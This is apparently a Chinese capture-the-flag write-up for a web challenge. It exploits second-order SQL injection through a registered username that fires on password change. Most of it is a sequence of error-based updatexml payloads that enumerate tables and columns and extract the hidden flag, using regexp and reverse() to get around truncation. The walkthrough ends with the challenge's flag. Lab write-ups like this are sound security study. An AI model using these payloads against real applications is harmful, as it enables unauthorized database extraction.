进入环境,有一个注册和登录功能
先随便注册一个账户
登录
随便点一个发现url可能存在注入
试了发现不行
去登录注册看看能不能注入
也不行,可能是二次注入,去重新注册一下
发现在改密码的地方会报错
有报错了,我们使用报错注入
重新注册用户
sjm"||updatexml(1,concat(0x7e,database(),1),1)#
改密码123为1234
报错得到数据库
再重新注册爆数据表
sjm"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1)#
爆flag表
sjm"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1)#
爆字段
sjm"||updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag))),1)#
假flag去users表看看
sjm"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1)#
爆real_flag_1s_her字段
sjm"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_her))from(users))),1)#
显示没有这个字段,应该是前面没有把字段名字显示完全,用正则匹配
sjm"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1)#
再爆
sjm"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users))),1)#
flag应该在后面用正则匹配
sjm"||updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1)#
使用reverse函数翻转字符串
sjm"||updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1)#
反过来就是89-9b7f-46d3-acd4-732afd1243b7}
拼接起来
flag{4c0fe589-9b7f-46d3-acd4-732afd1243b7}